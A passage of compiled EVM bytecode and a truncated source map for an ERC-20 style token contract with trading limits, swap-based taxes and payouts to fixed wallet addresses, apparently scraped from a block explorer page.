110976005546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205460ff16155b156110c557610c878383836115c0565b6001600160a01b0383165f908152600c602052604090205460ff1615801561110557506001600160a01b0382165f908152600c602052604090205460ff16155b15611186576001600160a01b0383165f908152600e602052604090205460ff16611160576001600160a01b0383165f908152600b60205260409020600a54815461114f9190611bba565b600282015542600190910155611186565b6001600160a01b0382165f908152600b602052604081208054909103611184574281555b505b305f908152602081905260408120546969e10de76676d0800000111590505f43600854600a6111b59190611b16565b1190508180156111c3575080155b80156111d2575060095460ff16155b80156111f657506001600160a01b0385165f908152600e602052604090205460ff16155b801561121a57506001600160a01b0385165f908152600c602052604090205460ff16155b801561123e57506001600160a01b0384165f908152600c602052604090205460ff16155b1561124b5761124b6115f8565b6009546001600160a01b0386165f908152600c602052604090205460ff9182161591168061129057506001600160a01b0385165f908152600c602052604090205460ff165b1561129857505f5b5f811561142e5782611378576001600160a01b0387165f908152600e602052604090205460ff1680156112c9575060015b1561133c5760646112db600587611b5e565b6112e59190611bcd565b90506112fc60056112f68184611b5e565b9061177d565b60075f82825461130c9190611b16565b90915550611321905060056112f65f84611b5e565b60065f8282546113319190611b16565b909155506114109050565b6001600160a01b0386165f908152600e602052604090205460ff168015611361575060015b156113735760646112db600587611b5e565b611410565b6001600160a01b0387165f908152600e602052604090205460ff16156113c1576113a46019606461177d565b6113ae9086611b5e565b90508060075f8282546113319190611b16565b6001600160a01b0386165f908152600e602052604090205460ff1615611410576113ed6028606461177d565b6113f79086611b5e565b90508060075f82825461140a9190611b16565b90915550505b801561142157611421873083611493565b61142b8186611bba565b94505b611439878787611493565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166114b95760405162461bcd60e51b81526004016107c190611b75565b6001600160a01b0383165f90815260208190526040902054818110156115305760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016107c1565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290611566908490611b16565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115b291815260200190565b60405180910390a350505050565b6001600160a01b038084165f908152602081905260408082208054858103909155928516825281208054849290611566908490611b16565b6009805460ff19166001179055305f9081526020819052604081205490505f6006546007546116279190611b16565b90505f821580611635575081155b1561164257505050611771565b6116576969e10de76676d08000006014611b5e565b831115611676576116736969e10de76676d08000006014611b5e565b92505b8247611681826117c5565b5f61168c8247611bba565b90505f858260065461169e9190611b5e565b6116a89190611bcd565b5f6006819055600781905560405191925073cb04f617a64196fc008c6e82fb13644bcd0a3d8291839181818185875af1925050503d805f8114611706576040519150601f19603f3d011682016040523d82523d5f602084013e61170b565b606091505b505060405190955073ce319aaf8f56b6c73b1c9bda65ef500c1e0cad4a9047905f81818185875af1925050503d805f8114611761576040519150601f19603f3d011682016040523d82523d5f602084013e611766565b606091505b505050505050505050505b6009805460ff19169055565b5f6117be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197b565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106117f8576117f8611bec565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611874573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118989190611c00565b816001815181106118ab576118ab611bec565b60200260200101906001600160a01b031690816001600160a01b0316815250506118f6307f000000000000000000000000000000000000000000000000000000000000000084610aca565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac9479061194a9085905f90869030904290600401611c1b565b5f604051808303815f87803b158015611961575f80fd5b505af1158015611973573d5f803e3d5ffd5b505050505050565b5f818361199b5760405162461bcd60e51b81526004016107c191906119b0565b505f6119a78486611bcd565b95945050505050565b5f602080835283518060208501525f5b818110156119dc578581018301518582016040015282016119c0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ac7575f80fd5b5f8060408385031215611a21575f80fd5b8235611a2c816119fc565b946020939093013593505050565b5f805f60608486031215611a4c575f80fd5b8335611a57816119fc565b92506020840135611a67816119fc565b929592945050506040919091013590565b5f60208284031215611a88575f80fd5b81356117be816119fc565b5f8060408385031215611aa4575f80fd5b8235611aaf816119fc565b91506020830135611abf816119fc565b809150509250929050565b600181811c90821680611ade57607f821691505b602082108103611afc57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561072f5761072f611b02565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808202811582820484141761072f5761072f611b02565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b8181038181111561072f5761072f611b02565b5f82611be757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611c10575f80fd5b81516117be816119fc565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c6b5784516001600160a01b031683529383019391830191600101611c46565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208618a1044646eabda0cd69be5f017737b180f3e4edae1b1f9a66ecafe8fc789364736f6c63430008180033
Deployed Bytecode
0x60806040526004361061022b575f3560e01c80638bb8d62611610129578063a9059cbb116100a8578063dd62ed3e1161006d578063dd62ed3e146105f0578063e2f4560514610634578063e72c571714610651578063f2fde38b14610670578063f8b45b05146105be575f80fd5b8063a9059cbb1461057f578063bbc0c7421461059e578063c8c8ebe4146105be578063cfa71593146105dc578063d85ba063146103f1575f80fd5b80639c3b4fdc116100ee5780639c3b4fdc1461050a5780639fccce321461051d578063a0d82dc51461050a578063a457c2d714610532578063a72905a214610551575f80fd5b80638bb8d6261461049e5780638da5cb5b146104b25780638ea5220f146104cf57806392136913146103f157806395d89b41146104f6575f80fd5b806339509351116101b5578063715018a61161017a578063715018a614610439578063751039fc1461044f57806375f0a874146104635780637bce5a04146103f15780638a8c523c1461048a575f80fd5b8063395093511461037f57806349bd5a5e1461039e5780634a62bb65146103d15780636a486a8e146103f157806370a0823114610405575f80fd5b806318160ddd116101fb57806318160ddd146102fc5780631dafe16b146103105780631f3fed8f1461033057806323b872dd14610345578063313ce56714610364575f80fd5b806306fdde0314610236578063095ea7b3146102605780630e14ebdc1461028f5780631694505e146102b1575f80fd5b3661023257005b5f80fd5b348015610241575f80fd5b5061024a61068f565b60405161025791906119b0565b60405180910390f35b34801561026b575f80fd5b5061027f61027a366004611a10565b61071f565b6040519015158152602001610257565b34801561029a575f80fd5b506102a3602881565b604051908152602001610257565b3480156102bc575f80fd5b506102e47f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610257565b348015610307575f80fd5b506002546102a3565b34801561031b575f80fd5b5060055461027f90600160b01b900460ff1681565b34801561033b575f80fd5b506102a360075481565b348015610350575f80fd5b5061027f61035f366004611a3a565b610735565b34801561036f575f80fd5b5060405160128152602001610257565b34801561038a575f80fd5b5061027f610399366004611a10565b6107e2565b3480156103a9575f80fd5b506102e47f000000000000000000000000208ebddae9aebaec6ccc9d9b98cc6e22e56608f481565b3480156103dc575f80fd5b5060055461027f90600160a01b900460ff1681565b3480156103fc575f80fd5b506102a3600581565b348015610410575f80fd5b506102a361041f366004611a78565b6001600160a01b03165f9081526020819052604090205490565b348015610444575f80fd5b5061044d61081d565b005b34801561045a575f80fd5b5061044d610852565b34801561046e575f80fd5b506102e473ce319aaf8f56b6c73b1c9bda65ef500c1e0cad4a81565b348015610495575f80fd5b5061044d61088b565b3480156104a9575f80fd5b506102a36108ce565b3480156104bd575f80fd5b506005546001600160a01b03166102e4565b3480156104da575f80fd5b506102e473cb04f617a64196fc008c6e82fb13644bcd0a3d8281565b348015610501575f80fd5b5061024a6108e6565b348015610515575f80fd5b506102a35f81565b348015610528575f80fd5b506102a360065481565b34801561053d575f80fd5b5061027f61054c366004611a10565b6108f5565b34801561055c575f80fd5b5061027f61056b366004611a78565b600e6020525f908152604090205460ff1681565b34801561058a575f80fd5b5061027f610599366004611a10565b61098d565b3480156105a9575f80fd5b5060055461027f90600160a81b900460ff1681565b3480156105c9575f80fd5b506102a36a108b2a2c2802909400000081565b3480156105e7575f80fd5b506102a3601981565b3480156105fb575f80fd5b506102a361060a366004611a93565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561063f575f80fd5b506102a36969e10de76676d080000081565b34801561065c575f80fd5b5061027f61066b366004611a10565b610999565b34801561067b575f80fd5b5061044d61068a366004611a78565b610a2f565b60606003805461069e90611aca565b80601f01602080910402602001604051908101604052809291908181526020018280546106ca90611aca565b80156107155780601f106106ec57610100808354040283529160200191610715565b820191905f5260205f20905b8154815290600101906020018083116106f857829003601f168201915b5050505050905090565b5f61072b338484610aca565b5060015b92915050565b5f610741848484610bed565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156107ca5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107d78533858403610aca565b506001949350505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161072b918590610818908690611b16565b610aca565b6005546001600160a01b031633146108475760405162461bcd60e51b81526004016107c190611b29565b6108505f611442565b565b6005546001600160a01b0316331461087c5760405162461bcd60e51b81526004016107c190611b29565b6005805460ff60a01b19169055565b6005546001600160a01b031633146108b55760405162461bcd60e51b81526004016107c190611b29565b436008556005805460ff60a81b1916600160a81b179055565b6108e36969e10de76676d08000006014611b5e565b81565b60606004805461069e90611aca565b335f9081526001602090815260408083206001600160a01b0386168452909152812054828110156109765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107c1565b6109833385858403610aca565b5060019392505050565b5f61072b338484610bed565b6005545f906001600160a01b031633146109c55760405162461bcd60e51b81526004016107c190611b29565b6040515f906001600160a01b0385169084156108fc0290859084818181858888f193505050509050806109835760405162461bcd60e51b815260206004820152601260248201527108cc2d2d8cac840e8de40e6cadcc8408aa8960731b60448201526064016107c1565b6005546001600160a01b03163314610a595760405162461bcd60e51b81526004016107c190611b29565b6001600160a01b038116610abe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c1565b610ac781611442565b50565b6001600160a01b038316610b2c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c1565b6001600160a01b038216610b8d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c1565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c135760405162461bcd60e51b81526004016107c190611b75565b6001600160a01b038216610c755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c1565b805f03610c8c57610c8783835f611493565b505050565b600554600160a01b900460ff1615610fef576005546001600160a01b03848116911614801590610cca57506005546001600160a01b03838116911614155b8015610cde57506001600160a01b03821615155b8015610cf557506001600160a01b03821661dead14155b8015610d04575060095460ff16155b15610fef57600554600160a81b900460ff16610d99576001600160a01b0383165f908152600c602052604090205460ff1680610d5757506001600160a01b0382165f908152600c602052604090205460ff165b610d995760405162461bcd60e51b81526020600482015260136024820152722a3930b234b733903737ba1037b832b732b21760691b60448201526064016107c1565b6001600160a01b0383165f908152600e602052604090205460ff168015610dd857506001600160a01b0382165f908152600d602052604090205460ff16155b15610eb7576a108b2a2c28029094000000811115610e385760405162461bcd60e51b815260206004820152601d60248201527f5472616e7366657220616d6f756e742065786365656473206c696d697400000060448201526064016107c1565b6a108b2a2c2802909400000081610e63846001600160a01b03165f9081526020819052604090205490565b610e6d9190611b16565b1115610eb25760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016107c1565b610fef565b6001600160a01b0382165f908152600e602052604090205460ff168015610ef657506001600160a01b0383165f908152600d602052604090205460ff16155b15610f56576a108b2a2c28029094000000811115610eb25760405162461bcd60e51b815260206004820152601d60248201527f5472616e7366657220616d6f756e742065786365656473206c696d697400000060448201526064016107c1565b6001600160a01b0382165f908152600d602052604090205460ff16610fef576a108b2a2c2802909400000081610fa0846001600160a01b03165f9081526020819052604090205490565b610faa9190611b16565b1115610fef5760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016107c1565b6001600160a01b0383165f908152600c602052604090205460ff168061102c57506001600160a01b0382165f908152600c602052604090205460ff165b801561104157506001600160a01b0383163014155b801561105657506001600160a01b0382163014155b156110605742600a555b6001600160a01b0383165f908152600c602052604090205460ff1680156110b55750600c5f6110976005546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205460ff16155b156110c557610c878383836115c0565b6001600160a01b0383165f908152600c602052604090205460ff1615801561110557506001600160a01b0382165f908152600c602052604090205460ff16155b15611186576001600160a01b0383165f908152600e602052604090205460ff16611160576001600160a01b0383165f908152600b60205260409020600a54815461114f9190611bba565b600282015542600190910155611186565b6001600160a01b0382165f908152600b602052604081208054909103611184574281555b505b305f908152602081905260408120546969e10de76676d0800000111590505f43600854600a6111b59190611b16565b1190508180156111c3575080155b80156111d2575060095460ff16155b80156111f657506001600160a01b0385165f908152600e602052604090205460ff16155b801561121a57506001600160a01b0385165f908152600c602052604090205460ff16155b801561123e57506001600160a01b0384165f908152600c602052604090205460ff16155b1561124b5761124b6115f8565b6009546001600160a01b0386165f908152600c602052604090205460ff9182161591168061129057506001600160a01b0385165f908152600c602052604090205460ff165b1561129857505f5b5f811561142e5782611378576001600160a01b0387165f908152600e602052604090205460ff1680156112c9575060015b1561133c5760646112db600587611b5e565b6112e59190611bcd565b90506112fc60056112f68184611b5e565b9061177d565b60075f82825461130c9190611b16565b90915550611321905060056112f65f84611b5e565b60065f8282546113319190611b16565b909155506114109050565b6001600160a01b0386165f908152600e602052604090205460ff168015611361575060015b156113735760646112db600587611b5e565b611410565b6001600160a01b0387165f908152600e602052604090205460ff16156113c1576113a46019606461177d565b6113ae9086611b5e565b90508060075f8282546113319190611b16565b6001600160a01b0386165f908152600e602052604090205460ff1615611410576113ed6028606461177d565b6113f79086611b5e565b90508060075f82825461140a9190611b16565b90915550505b801561142157611421873083611493565b61142b8186611bba565b94505b611439878787611493565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166114b95760405162461bcd60e51b81526004016107c190611b75565b6001600160a01b0383165f90815260208190526040902054818110156115305760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016107c1565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290611566908490611b16565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115b291815260200190565b60405180910390a350505050565b6001600160a01b038084165f908152602081905260408082208054858103909155928516825281208054849290611566908490611b16565b6009805460ff19166001179055305f9081526020819052604081205490505f6006546007546116279190611b16565b90505f821580611635575081155b1561164257505050611771565b6116576969e10de76676d08000006014611b5e565b831115611676576116736969e10de76676d08000006014611b5e565b92505b8247611681826117c5565b5f61168c8247611bba565b90505f858260065461169e9190611b5e565b6116a89190611bcd565b5f6006819055600781905560405191925073cb04f617a64196fc008c6e82fb13644bcd0a3d8291839181818185875af1925050503d805f8114611706576040519150601f19603f3d011682016040523d82523d5f602084013e61170b565b606091505b505060405190955073ce319aaf8f56b6c73b1c9bda65ef500c1e0cad4a9047905f81818185875af1925050503d805f8114611761576040519150601f19603f3d011682016040523d82523d5f602084013e611766565b606091505b505050505050505050505b6009805460ff19169055565b5f6117be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197b565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106117f8576117f8611bec565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611874573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118989190611c00565b816001815181106118ab576118ab611bec565b60200260200101906001600160a01b031690816001600160a01b0316815250506118f6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610aca565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061194a9085905f90869030904290600401611c1b565b5f604051808303815f87803b158015611961575f80fd5b505af1158015611973573d5f803e3d5ffd5b505050505050565b5f818361199b5760405162461bcd60e51b81526004016107c191906119b0565b505f6119a78486611bcd565b95945050505050565b5f602080835283518060208501525f5b818110156119dc578581018301518582016040015282016119c0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ac7575f80fd5b5f8060408385031215611a21575f80fd5b8235611a2c816119fc565b946020939093013593505050565b5f805f60608486031215611a4c575f80fd5b8335611a57816119fc565b92506020840135611a67816119fc565b929592945050506040919091013590565b5f60208284031215611a88575f80fd5b81356117be816119fc565b5f8060408385031215611aa4575f80fd5b8235611aaf816119fc565b91506020830135611abf816119fc565b809150509250929050565b600181811c90821680611ade57607f821691505b602082108103611afc57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561072f5761072f611b02565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808202811582820484141761072f5761072f611b02565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b8181038181111561072f5761072f611b02565b5f82611be757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611c10575f80fd5b81516117be816119fc565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c6b5784516001600160a01b031683529383019391830191600101611c46565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208618a1044646eabda0cd69be5f017737b180f3e4edae1b1f9a66ecafe8fc789364736f6c63430008180033
Deployed Bytecode Sourcemap
9127:9609:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2888:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3802:169;;;;;;;;;;-1:-1:-1;3802:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;3802:169:0;1023:187:1;10194:43:0;;;;;;;;;;;;10235:2;10194:43;;;;;1361:25:1;;;1349:2;1334:18;10194:43:0;1215:177:1;9202:51:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;9202:51:0;1397:229:1;3209:108:0;;;;;;;;;;-1:-1:-1;3297:12:0;;3209:108;;10326:34;;;;;;;;;;-1:-1:-1;10326:34:0;;;;-1:-1:-1;;;10326:34:0;;;;;;10403:33;;;;;;;;;;;;;;;;3979:492;;;;;;;;;;-1:-1:-1;3979:492:0;;;;;:::i;:::-;;:::i;3108:93::-;;;;;;;;;;-1:-1:-1;3108:93:0;;3191:2;2234:36:1;;2222:2;2207:18;3108:93:0;2092:184:1;4479:215:0;;;;;;;;;;-1:-1:-1;4479:215:0;;;;;:::i;:::-;;:::i;9260:38::-;;;;;;;;;;;;;;;10246:33;;;;;;;;;;-1:-1:-1;10246:33:0;;;;-1:-1:-1;;;10246:33:0;;;;;;10097:41;;;;;;;;;;;;10137:1;10097:41;;3325:127;;;;;;;;;;-1:-1:-1;3325:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;3426:18:0;3399:7;3426:18;;;;;;;;;;;;3325:127;1373:103;;;;;;;;;;;;;:::i;:::-;;16553:84;;;;;;;;;;;;;:::i;9480:101::-;;;;;;;;;;;;9538:42;9480:101;;16426:119;;;;;;;;;;;;;:::i;9785:68::-;;;;;;;;;;;;;:::i;1150:87::-;;;;;;;;;;-1:-1:-1;1223:6:0;;-1:-1:-1;;;;;1223:6:0;1150:87;;9378:95;;;;;;;;;;;;9430:42;9378:95;;2996:104;;;;;;;;;;;;;:::i;9860:37::-;;;;;;;;;;;;9896:1;9860:37;;10369:27;;;;;;;;;;;;;;;;4702:413;;;;;;;;;;-1:-1:-1;4702:413:0;;;;;:::i;:::-;;:::i;10898:40::-;;;;;;;;;;-1:-1:-1;10898:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3460:175;;;;;;;;;;-1:-1:-1;3460:175:0;;;;;:::i;:::-;;:::i;10286:33::-;;;;;;;;;;-1:-1:-1;10286:33:0;;;;-1:-1:-1;;;10286:33:0;;;;;;9588:64;;;;;;;;;;;;9635:17;9588:64;;10145:42;;;;;;;;;;;;10185:2;10145:42;;3643:151;;;;;;;;;;-1:-1:-1;3643:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3759:18:0;;;3732:7;3759:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3643:151;9719:59;;;;;;;;;;;;9764:14;9719:59;;16682:203;;;;;;;;;;-1:-1:-1;16682:203:0;;;;;:::i;:::-;;:::i;1484:201::-;;;;;;;;;;-1:-1:-1;1484:201:0;;;;;:::i;:::-;;:::i;2888:100::-;2942:13;2975:5;2968:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2888:100;:::o;3802:169::-;3885:4;3902:39;165:10;3925:7;3934:6;3902:8;:39::i;:::-;-1:-1:-1;3959:4:0;3802:169;;;;;:::o;3979:492::-;4119:4;4136:36;4146:6;4154:9;4165:6;4136:9;:36::i;:::-;-1:-1:-1;;;;;4212:19:0;;4185:24;4212:19;;;:11;:19;;;;;;;;165:10;4212:33;;;;;;;;4264:26;;;;4256:79;;;;-1:-1:-1;;;4256:79:0;;3945:2:1;4256:79:0;;;3927:21:1;3984:2;3964:18;;;3957:30;4023:34;4003:18;;;3996:62;-1:-1:-1;;;4074:18:1;;;4067:38;4122:19;;4256:79:0;;;;;;;;;4371:57;4380:6;165:10;4421:6;4402:16;:25;4371:8;:57::i;:::-;-1:-1:-1;4459:4:0;;3979:492;-1:-1:-1;;;;3979:492:0:o;4479:215::-;165:10;4567:4;4616:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4616:34:0;;;;;;;;;;4567:4;;4584:80;;4607:7;;4616:47;;4653:10;;4616:47;:::i;:::-;4584:8;:80::i;1373:103::-;1223:6;;-1:-1:-1;;;;;1223:6:0;165:10;1285:23;1277:68;;;;-1:-1:-1;;;1277:68:0;;;;;;;:::i;:::-;1438:30:::1;1465:1;1438:18;:30::i;:::-;1373:103::o:0;16553:84::-;1223:6;;-1:-1:-1;;;;;1223:6:0;165:10;1285:23;1277:68;;;;-1:-1:-1;;;1277:68:0;;;;;;;:::i;:::-;16607:14:::1;:22:::0;;-1:-1:-1;;;;16607:22:0::1;::::0;;16553:84::o;16426:119::-;1223:6;;-1:-1:-1;;;;;1223:6:0;165:10;1285:23;1277:68;;;;-1:-1:-1;;;1277:68:0;;;;;;;:::i;:::-;16494:12:::1;16481:10;:25:::0;16517:13:::1;:20:::0;;-1:-1:-1;;;;16517:20:0::1;-1:-1:-1::0;;;16517:20:0::1;::::0;;16426:119::o;9785:68::-;9830:23;9764:14;9851:2;9830:23;:::i;:::-;9785:68;:::o;2996:104::-;3052:13;3085:7;3078:14;;;;;:::i;4702:413::-;165:10;4795:4;4839:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4839:34:0;;;;;;;;;;4892:35;;;;4884:85;;;;-1:-1:-1;;;4884:85:0;;5150:2:1;4884:85:0;;;5132:21:1;5189:2;5169:18;;;5162:30;5228:34;5208:18;;;5201:62;-1:-1:-1;;;5279:18:1;;;5272:35;5324:19;;4884:85:0;4948:401:1;4884:85:0;5005:67;165:10;5028:7;5056:15;5037:16;:34;5005:8;:67::i;:::-;-1:-1:-1;5103:4:0;;4702:413;-1:-1:-1;;;4702:413:0:o;3460:175::-;3546:4;3563:42;165:10;3587:9;3598:6;3563:9;:42::i;16682:203::-;1223:6;;16757:4;;-1:-1:-1;;;;;1223:6:0;165:10;1285:23;1277:68;;;;-1:-1:-1;;;1277:68:0;;;;;;;:::i;:::-;16786:23:::1;::::0;16774:9:::1;::::0;-1:-1:-1;;;;;16786:16:0;::::1;::::0;:23;::::1;;;::::0;16803:5;;16774:9;16786:23;16774:9;16786:23;16803:5;16786:16;:23;::::1;;;;;;16774:35;;16828:4;16820:35;;;::::0;-1:-1:-1;;;16820:35:0;;5556:2:1;16820:35:0::1;::::0;::::1;5538:21:1::0;5595:2;5575:18;;;5568:30;-1:-1:-1;;;5614:18:1;;;5607:48;5672:18;;16820:35:0::1;5354:342:1::0;1484:201:0;1223:6;;-1:-1:-1;;;;;1223:6:0;165:10;1285:23;1277:68;;;;-1:-1:-1;;;1277:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1573:22:0;::::1;1565:73;;;::::0;-1:-1:-1;;;1565:73:0;;5903:2:1;1565:73:0::1;::::0;::::1;5885:21:1::0;5942:2;5922:18;;;5915:30;5981:34;5961:18;;;5954:62;-1:-1:-1;;;6032:18:1;;;6025:36;6078:19;;1565:73:0::1;5701:402:1::0;1565:73:0::1;1649:28;1668:8;1649:18;:28::i;:::-;1484:201:::0;:::o;7280:380::-;-1:-1:-1;;;;;7416:19:0;;7408:68;;;;-1:-1:-1;;;7408:68:0;;6310:2:1;7408:68:0;;;6292:21:1;6349:2;6329:18;;;6322:30;6388:34;6368:18;;;6361:62;-1:-1:-1;;;6439:18:1;;;6432:34;6483:19;;7408:68:0;6108:400:1;7408:68:0;-1:-1:-1;;;;;7495:21:0;;7487:68;;;;-1:-1:-1;;;7487:68:0;;6715:2:1;7487:68:0;;;6697:21:1;6754:2;6734:18;;;6727:30;6793:34;6773:18;;;6766:62;-1:-1:-1;;;6844:18:1;;;6837:32;6886:19;;7487:68:0;6513:398:1;7487:68:0;-1:-1:-1;;;;;7568:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7620:32;;1361:25:1;;;7620:32:0;;1334:18:1;7620:32:0;;;;;;;7280:380;;;:::o;12124:4294::-;-1:-1:-1;;;;;12256:18:0;;12248:68;;;;-1:-1:-1;;;12248:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12335:16:0;;12327:64;;;;-1:-1:-1;;;12327:64:0;;7524:2:1;12327:64:0;;;7506:21:1;7563:2;7543:18;;;7536:30;7602:34;7582:18;;;7575:62;-1:-1:-1;;;7653:18:1;;;7646:33;7696:19;;12327:64:0;7322:399:1;12327:64:0;12406:6;12416:1;12406:11;12402:93;;12434:28;12450:4;12456:2;12460:1;12434:15;:28::i;:::-;12124:4294;;;:::o;12402:93::-;12511:14;;-1:-1:-1;;;12511:14:0;;;;12507:1219;;;1223:6;;-1:-1:-1;;;;;12564:15:0;;;1223:6;;12564:15;;;;:49;;-1:-1:-1;1223:6:0;;-1:-1:-1;;;;;12600:13:0;;;1223:6;;12600:13;;12564:49;:86;;;;-1:-1:-1;;;;;;12634:16:0;;;;12564:86;:128;;;;-1:-1:-1;;;;;;12671:21:0;;12685:6;12671:21;;12564:128;:156;;;;-1:-1:-1;12714:6:0;;;;12713:7;12564:156;12542:1173;;;12760:13;;-1:-1:-1;;;12760:13:0;;;;12755:220;;-1:-1:-1;;;;;12832:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;12861:23:0;;;;;;:19;:23;;;;;;;;12832:52;12798:157;;;;-1:-1:-1;;;12798:157:0;;7928:2:1;12798:157:0;;;7910:21:1;7967:2;7947:18;;;7940:30;-1:-1:-1;;;7986:18:1;;;7979:49;8045:18;;12798:157:0;7726:343:1;12798:157:0;-1:-1:-1;;;;;13019:14:0;;;;;;:8;:14;;;;;;;;:75;;;;-1:-1:-1;;;;;;13059:35:0;;;;;;:31;:35;;;;;;;;13058:36;13019:75;12993:707;;;9635:17;13145:6;:30;;13137:72;;;;-1:-1:-1;;;13137:72:0;;8276:2:1;13137:72:0;;;8258:21:1;8315:2;8295:18;;;8288:30;8354:31;8334:18;;;8327:59;8403:18;;13137:72:0;8074:353:1;13137:72